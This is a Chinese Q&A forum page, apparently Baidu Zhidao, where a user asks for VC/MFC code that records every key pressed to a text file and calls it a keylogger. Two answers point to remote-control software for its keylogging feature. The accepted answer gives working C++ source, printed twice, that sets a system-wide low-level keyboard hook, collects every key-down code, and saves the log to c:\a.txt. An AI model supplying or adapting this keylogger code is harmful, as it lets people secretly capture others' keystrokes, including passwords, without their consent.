VC/MFC实现键盘按下的所有键记录保存到*.txt中
VC/MFC实现键盘按下的所有键记录保存到*.txt中就相当于一个键盘记录器,按下的每个键都保存下来求程序代码...
VC/MFC实现键盘按下的所有键记录保存到*.txt中
就相当于一个键盘记录器,按下的每个键都保存下来
求程序代码 展开
就相当于一个键盘记录器,按下的每个键都保存下来
求程序代码 展开
3个回答
展开全部
网络人远程控制软件吧,现在大多用这个了。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
网络人远程控制软件有键盘记录
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
例子下载 (请不要直接使用迅雷下载)
http://cid-3ba16e78a53d2d3d.office.live.com/self.aspx/VC/record-keydown.zip
愿顺利 阿弥陀佛!
//兼容ANSI和UNICODE
#ifdef _UNICODE
#define __fopen _wfopen
#define __string wstring
#define __ostringstream wostringstream
#define __splitpath _wsplitpath
#else
#define __fopen fopen
#define __string string
#define __ostringstream ostringstream
#define __splitpath _splitpath
#endif
/****************************************************************************
string ItoString(int val) INT_TO_STR(X)
用于int值直接转TCHAR*
****************************************************************************/
static
__string _Int_to_String(int val)
{
TCHAR buffer[11];
_itot(val,buffer,10);
return __string(buffer);
}
#define INT_TO_STR(X) _Int_to_String(X).c_str()
/****************************************************************************
保存文件。(不支持Unicode)
****************************************************************************/
static
bool SaveFileString(const TCHAR* FilePath,__string& str)
{
FILE* fp = __fopen(FilePath, _T("wb"));
if (!fp)
return false;
return (str.size()==fwrite(str.c_str(),sizeof(TCHAR),str.size(),fp)) ?
( fclose(fp),true ) : ( fclose(fp),false ) ;
}
string text;
/****************************************************************************
低级键盘钩子
****************************************************************************/
HHOOK g_LowLevelKeyboardHook=NULL; //钩子句柄
LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam, LPARAM lParam)
{
if (nCode<0 )
return CallNextHookEx(g_LowLevelKeyboardHook,nCode,wParam,lParam);
if (wParam==WM_KEYDOWN)
{
int vkCode=((KBDLLHOOKSTRUCT*)lParam )->vkCode;
text+=INT_TO_STR(vkCode);
text+=_T(" "); //用空格隔开
// text+=_T("\r\n"); //用换行隔开
}
return CallNextHookEx(g_LowLevelKeyboardHook,nCode,wParam,lParam); //传递钩子信息
}
void CDemoDlg::OnButton1()
{
//start Low Level Keyboard hook
g_LowLevelKeyboardHook=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,GetModuleHandle(NULL),0);
if(!g_LowLevelKeyboardHook)
::MessageBox(m_hWnd,TEXT("SetWindowsHookEx LowLevelKeyboardProc failed"),NULL,MB_OK);
}
void CDemoDlg::OnButton2()
{
//stop Low Level Keyboard hook
if(!UnhookWindowsHookEx(g_LowLevelKeyboardHook))
::MessageBox(m_hWnd,TEXT("UnhookWindowsHookEx LowLevelKeyboardProc failed"),NULL,MB_OK);
}
void CDemoDlg::OnButton3()
{
SaveFileString(_T("c:\\a.txt"),text);
}
http://cid-3ba16e78a53d2d3d.office.live.com/self.aspx/VC/record-keydown.zip
愿顺利 阿弥陀佛!
//兼容ANSI和UNICODE
#ifdef _UNICODE
#define __fopen _wfopen
#define __string wstring
#define __ostringstream wostringstream
#define __splitpath _wsplitpath
#else
#define __fopen fopen
#define __string string
#define __ostringstream ostringstream
#define __splitpath _splitpath
#endif
/****************************************************************************
string ItoString(int val) INT_TO_STR(X)
用于int值直接转TCHAR*
****************************************************************************/
static
__string _Int_to_String(int val)
{
TCHAR buffer[11];
_itot(val,buffer,10);
return __string(buffer);
}
#define INT_TO_STR(X) _Int_to_String(X).c_str()
/****************************************************************************
保存文件。(不支持Unicode)
****************************************************************************/
static
bool SaveFileString(const TCHAR* FilePath,__string& str)
{
FILE* fp = __fopen(FilePath, _T("wb"));
if (!fp)
return false;
return (str.size()==fwrite(str.c_str(),sizeof(TCHAR),str.size(),fp)) ?
( fclose(fp),true ) : ( fclose(fp),false ) ;
}
string text;
/****************************************************************************
低级键盘钩子
****************************************************************************/
HHOOK g_LowLevelKeyboardHook=NULL; //钩子句柄
LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam, LPARAM lParam)
{
if (nCode<0 )
return CallNextHookEx(g_LowLevelKeyboardHook,nCode,wParam,lParam);
if (wParam==WM_KEYDOWN)
{
int vkCode=((KBDLLHOOKSTRUCT*)lParam )->vkCode;
text+=INT_TO_STR(vkCode);
text+=_T(" "); //用空格隔开
// text+=_T("\r\n"); //用换行隔开
}
return CallNextHookEx(g_LowLevelKeyboardHook,nCode,wParam,lParam); //传递钩子信息
}
void CDemoDlg::OnButton1()
{
//start Low Level Keyboard hook
g_LowLevelKeyboardHook=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,GetModuleHandle(NULL),0);
if(!g_LowLevelKeyboardHook)
::MessageBox(m_hWnd,TEXT("SetWindowsHookEx LowLevelKeyboardProc failed"),NULL,MB_OK);
}
void CDemoDlg::OnButton2()
{
//stop Low Level Keyboard hook
if(!UnhookWindowsHookEx(g_LowLevelKeyboardHook))
::MessageBox(m_hWnd,TEXT("UnhookWindowsHookEx LowLevelKeyboardProc failed"),NULL,MB_OK);
}
void CDemoDlg::OnButton3()
{
SaveFileString(_T("c:\\a.txt"),text);
}
本回答被提问者和网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询